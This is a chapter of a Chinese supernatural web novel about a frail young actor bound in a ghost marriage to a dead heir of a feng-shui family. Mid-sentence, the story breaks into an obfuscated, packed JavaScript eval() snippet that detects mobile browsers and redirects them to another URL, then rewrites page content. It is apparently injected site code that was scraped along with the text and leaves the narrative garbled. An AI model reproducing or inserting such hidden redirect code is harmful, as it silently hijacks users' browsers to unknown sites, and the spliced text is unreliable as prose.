贺乌陵抬起那双苍老却不失锐利的鹰眼,挑剔地审视着谈雪慈,然后说:“戴上这个,不想死就千万不要摘下来,也不要弄丢,不然就连我也救不了你,还有,既已成婚,恂夜就是你的丈夫,以后就由你来供奉他的牌位。 “每天早晚三炷香,贺家也不指望你传宗接代,这点小事应该能做得到吧?” 谈雪慈:“……” 谈雪慈攥着那个红色的符袋,掌心莫名烫得厉害,他根本就不想跟人结阴亲,但事已至此,他也没办法拒绝,只能嗫喏着答应下来。 贺乌陵见他还算听话,脸色这才好了一些,终于起身离开。 管家又把谈雪慈送回房间,他还让人将谈雪慈的行李拿了过来,是刚才谈雪慈吃饭时,他派人去谈家取的。 谈家大概也没想到谈雪慈能活下来,临走前什么都没给他带。 不过谈雪慈的东西也不多,只有一个小书包,都没装满,里面塞了个很旧的老年机,两三件衣服,一只小羊玩偶。 谈雪慈躺在床上,抱着他的小羊跟瘪瘪的小书包,就连他自己也瘦得不正常,后颈棘突明显,肚子倒是难得鼓鼓的,刚吃饱了东西,撑得衬衫微微拢起,配上过分纤细的四肢,反而看起来更可怜了,他几根苍白手指捂在上面,很乖地小声说:“谢……谢谢伯伯。” 然而他尾音含糊,还没说完,肩背就控制不住弓起,剧烈地痉挛呛咳了几下,偏过头趴在床边吐了一地。 “谈少爷?!”管家被吓了一跳。 谈雪慈甚至来不及捂住嘴,只能尽量探出身,不弄脏床单,也不弄脏贺恂夜的衣服。 他鼻子忽然一酸,有点难过,他都没吃过这么多好东西,才在他肚子里待了一会儿就吐掉了,而且弄成这样,会给别人添麻烦。 他睫毛颤巍巍的,被呛咳时带出来的眼泪湿透,伸手就想去擦地上的脏污,嗓子低软发颤地说:“对……对不起,我马上收拾。” 管家:“……” 阎王看了都得半夜起来给自己一巴掌。 管家连忙将人拦住,让佣人去叫医生,谈雪慈难受到睁不开眼,迷迷糊糊听到医生问话,“你滑肠了,来之前吃过什么东西?” 谈雪慈嘴唇动了动,很轻地小声说:“没有……没有吃东西……” 贺家定下婚期以后,他就没再吃到过东西。 所有人都愣在原地,一脸错愕,无法去想谈雪慈在谈家过的什么日子。 坐牢都会临死前给吃顿断头饭,谈家这是发现谈雪慈可能会死以后,就马不停蹄地把他放弃了,甚至都不愿意让他吃饱肚子上路。 谈雪慈浑身滚烫,又发起高烧,他瘦白手指痉挛地曲起来,想抓住枕巾,却一不小心摸到什么冰凉的东西,很舒服。 是医生的手吗? 对方修长冰凉的手指抚摸在他颊侧,舌尖也又湿又凉,是异于人类的长度,很温柔地舔舐掉他脸上的泪水,谈雪慈陷入一个冰冷怀抱,眉头终于松开一点,昏沉地睡了过去。 - 谈雪慈三天以后才勉强能下床,他本来以为贺家会有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854395|191614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很多鬼,没想到却睡得很踏实。 他的病发作不分白天黑夜,以前白天会看到镜子里的人跟自己做出相反动作,洗脸会有人往他手指上吹气,睡觉前床底下会发出指甲抓挠床板的声音,等睡着了又会做噩梦,梦到自己背上趴着个惨青的鬼脸。 虽然能吃药,但吃一次只能顶三个小时左右,而且每天最多吃三次,他大部分时间还是得自己面对那些鬼怪。 待在贺家这几天,他什么都没见到,除了医生每天晚上都会来看他。 医生每次都会拿冰凉的大手掐住他的脖颈,一点一点往上抚摸,然后将几根冰冷修长的手指塞到他嘴里,撑开他的嘴唇,夹住红润的舌尖毫不留情地扯出来,好像在测试体温。 谈雪慈觉得不太对劲,但被鬼迷心窍了一样,想不通到底怎么不对,他没再多想,鼓起勇气找管家问起婚礼当晚的事。 “婚礼?”管家将饭菜放下,苍老的脸上带着笑,说,“家主派人去接您的时候,您还在睡觉,婚礼结束才醒来,但看着精神也不大好,家主带您去大少爷的灵前上香,您才到灵堂就晕过去了,怎么会有纸人呢,大概是噩梦吧。” 谈雪慈将信将疑,但他毕竟精神有问题,可能真的在做噩梦吧,他又在贺家住了几天,直到经纪人陆栖给他打来电话。 谈雪慈是个已经出道半年的小明星,半年前拍了部戏,播出效果还不错,他涨了六十多万粉丝,当然主要是颜粉。 而且还接到一部新戏。 但刚开拍谈雪慈就病了,跟剧组请了好几次假,再不去肯定会被踹,经纪人急得上蹿下跳,终于联系到谈雪慈,说晚上开车来接他。 谈雪慈本来还担心贺家不许他去,但贺乌陵似乎没打算限制他的行动,对他的唯一要求,就是带上牌位,给贺恂夜上香。 谈雪慈将牌位装在自己的小书包里,临走前,望着贺恂夜的遗照,犹豫了下,小声地打了个招呼,说:“贺先生,我走了。” 遗像上的男人当然不会回应。 那张脸模模糊糊地像笼罩着一团黑影,但唇角仍然带着很温柔的笑,弧度都堪称完美,盯久了莫名让人心底发毛。 谈雪慈没敢多看,连忙低头离开。 经纪人将车停在贺家门外,他让谈雪慈赶紧上车,就往剧组赶。 谈母半年前突然同意谈雪慈出门,但谈雪慈被关了十几年,突然放他出去,他也不知道该去什么地方,谈砚宁就建议他去剧组看看。 谈雪慈不太懂,他去问贺睢,贺睢直接给他安排了公司,还找了个经纪人。 贺睢在京圈交际广泛,他外公家虽然没涉足娱乐圈,但也是商业大亨,想安排个小明星就是一句话的事,就是陆栖倒了霉。 他都不知道贺睢为什么会同意,当时谈雪慈连自己的名字都不会写,说话也不连贯。 万一落到什么人手里,不被玩死才怪。 说不定被扣了还以为在给他检查身体呢。 陆栖觉得自己像带了个漂亮吗喽,他头都大了,带着谈雪慈从啊啵呲嘚学起,谈雪慈倒是很乖,但学得很慢,现在会的字也不多。 让他带艺人,没说让他带野人啊! 陆栖当场表演了一个老吗喽痛苦抱头。 还好谈雪慈长得好,尤其那双眼睛,又黑又润,眼尾上钩,带着股山羊一样的阴媚劲儿,但肤色过于苍白,又瘦得厉害,小脸只有巴掌大,冲淡了这股阴气,只觉得楚楚可怜。 娱乐圈美人如云,他也见过很多,但还是头一次见到这种类型的。 而且演技意外地不错,导演稍微教一下就能演得像模像样。 晚上淅淅沥沥下着小雨,车外昏冷灯光掠过,谈雪慈听到陆栖夸他演技好,那双漂亮的眼睛抬起来,眸光在昏暗的车厢里闪烁了下。 车子开动,浓重的夜幕底下,谁也没注意到车后有一道漆黑模糊的影子,静静地矗立在原地,随着车子离开,它缓缓地转过头。 …… “对了,”陆栖后颈莫名凉了一下,他没太在意,揉了揉脖子,只当晚上太冷,然后纳闷地说,“你怎么在贺家啊?” 娱乐圈的人很迷信那些神神鬼鬼,陆栖没带过什么出名的艺人,但也听说过贺家,不知道谈雪慈怎么会跟贺家有瓜葛。 谈雪慈怯怯地跟他说起联姻的事。 “什么?!”陆栖张大嘴巴,刚点的烟都掉了,烫得他顿时嗷了一嗓子。 昏朦的雨雾里,车上格外暗沉,少年的苍白茫然的脸隐没在车厢内,只有鼻尖跟唇瓣泛着红,看起来格外无助可怜。 陆栖都不知道该说什么了,这都什么年代了,居然还冥婚,但贺家是风水世家,谈家也算个小豪门了,不是他能管得了的事。 他挠了挠头,只好安慰说:“你也别瞎想了,这都已经结婚了,他是你老公啊,肯定不会害你的,说不定能保佑你呢?” 谈雪慈听完,双眼微微发亮,趴在车靠背上问他,“真的?” “……”经纪人说,“真的。” 保佑个屁。 他越听越觉得心里发毛,贺恂夜头七都过了,贺家没给下葬,甚至还结阴亲,还有谈雪慈见到的那些,他觉得不完全是假的。 什么保佑,不被脏东西缠上就不错了。